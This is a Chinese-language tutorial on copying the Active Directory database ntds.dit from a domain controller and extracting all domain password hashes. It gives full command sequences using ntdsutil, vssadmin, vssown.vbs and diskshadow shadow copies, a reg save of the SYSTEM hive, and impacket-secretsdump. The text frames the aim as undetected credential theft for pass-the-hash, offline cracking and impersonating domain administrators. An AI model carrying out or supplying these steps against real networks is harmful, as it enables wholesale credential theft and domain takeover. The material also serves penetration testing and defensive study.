前言
通常情况下,即使拥有管理员权限,也无法读取域控制器中的C:\Windows\NTDS\ntds.dit文件。(活动目录始终访问这个文件,所以文件被禁止读取)
使用Windows本地卷影拷贝服务(volume Shadow Copy Server,VSS),就可以获取文件的副本(类似于虚拟机的快照)。
ntds.dit介绍
ntds.dit文件是一个数据库,用于存储Active Directory数据,包括有关用户对象,组和组成员身份的信息。它包括域中所有用户的密码哈希。通过提取这些哈希值,可以使用诸如Mimikatz之类的工具执行哈希传递攻击,或使用诸如Hashcat之类的工具来破解这些密码。这些密码的提取和破解可以脱机执行,因此将无法检测到。一旦攻击者提取了这些散列,它们便可以充当域上的任何用户,包括域管理员。
在活动目录中,所有的数据都保存在ntds.dit中。ntds.dit是一个二进制文件,存储位置为域控制器的%SystemRoot%\ntds\ntds.dit。ntds.dit中包含用户名、散列值、组、GPP、OU等与活动目录相关的信息。它和SAM文件一样,是被操作系统锁定的。
在一般情况下系统运维人员会利用卷影拷贝服务(volume Shadow Copy Server,VSS)实现ntds.dit的拷贝,VSS本质上属快照(Snamshot)技术的一种,主要用于备份和恢复(即使目标文件被系统锁定)。

一般域环境内最重要的三个文件如下:
ntds.dit文件位置: C:\\Windows\\NTDS\\NTDS.dit
system文件位置:C:\\Windows\\System32\\config\\SYSTEM
sam文件位置:C:\\Windows\\System32\\config\\SAM
通过ntdsutil.exe提取ntds.dit
ntdsuti.exe 是一个为活动目录提供管理机制的命令行工具。使用ntdsuti.exe,可以维护和管理活动目录数据库、控制单个主机操作、创建应用程序目录分区、副除由未使用活动目录安装向导(DCPromo.exe)成功降级的与控制器留下的元数据等。
该工具默认安装在域控制器上,可以在域控制器上直接操作,也可以通过域内主机在域控制器上远程操作。
该工具支持的操作系统:
-
Windows Server 2003
-
Windows Server 2008
-
Windows Server 2012
工具使用方法︰在域控制器的命令行环境下输入如下命令,创建一个快照,该快照包含Windows中的所有文件,且在复制文件时不会受到Windows锁定机制的限制。
创建快照
ntdsutil snapshot "activate instance ntds" create quit quit

挂载快照
ntdsutil snapshot "mount {9368eb6a-631b-4e28-b25b-bc78b4674f49}" quit quit
复制ntds.dit
copy C:\$SNAP_202211280955_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit
此时发现快照和复制出来的ntds.dit都在C盘中

快照内容:

卸载快照
ntdsutil snapshot "unmount {9368eb6a-631b-4e28-b25b-bc78b4674f49}" quit quit
删除快照
ntdsutil snapshot "delete {9368eb6a-631b-4e28-b25b-bc78b4674f49}" quit quit
利用vssadmin提取ntds.dit
vssadmin 是Windows Server 2008及 Windows 7提供的VSS管理工具,可用于创建和删除卷影拷贝。
创建C盘的卷影拷贝
vssadmin create shadow /for=c:

在卷影拷贝中将ntds.dit复制出来
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit c:\ntds.dit
删除快照
vssadmin delete shadows /for=c: /quiet
利用vssown.vbs提取ntds.dit
查找ntds.dit位置
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters

启动卷影拷贝服务
cscript //nologo vssown.vbs /start
创建一个C盘的卷影拷贝
cscript vssown.vbs /create c
列出当前卷影拷贝
cscript vssown.vbs /list

复制ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit c:\ntds.dit
删除卷影拷贝
cscript vssown.vbs /delete {B00A5238-D555-4AF1-8703-2769316D7140}
使用diskshadow导出ndts.dit
可以使用diskshadow.exe来执行命令。
例如,将需要执行的命令“exec c:\windows\system\calc.exe”写入c:\command.txt文件
echo exec c:\\windows\\system32\\calc.exe \> command.txt
type command.txt
使用diskshadow执行txt中的命令
diskshadow /s command.txt

diskshadow也可以用来导出ntds.dit,将如下命令写入一个文件中去执行
//设置卷影拷贝
set context persistent nowriters
//添加卷
add volume c: alias someAlias
//创建快照
create
//分配虚拟磁盘盘符
expose %someAlias% z:
//将ntds.dit复制到C盘中
exec "cmd.exe" /c copy z:\\windows\\ntds\\ntds.dit c:\\ntds.dit
//删除所有快照
delete shadows all
//列出系统中的卷影拷贝
list shadows all
//退出
reset
exit
system.hiv
最后还需要转储system.hive,system.hiv中存放着ntds.dit的密钥,如果没有该密钥,将无法查看ntds.dit中的信息:
reg save hklm\system system.hive
impacket工具包secretdump导出ntds.dit域内全部hash
impacket-secretsdump -system system.hive -ntds ntds.dit LOCAL
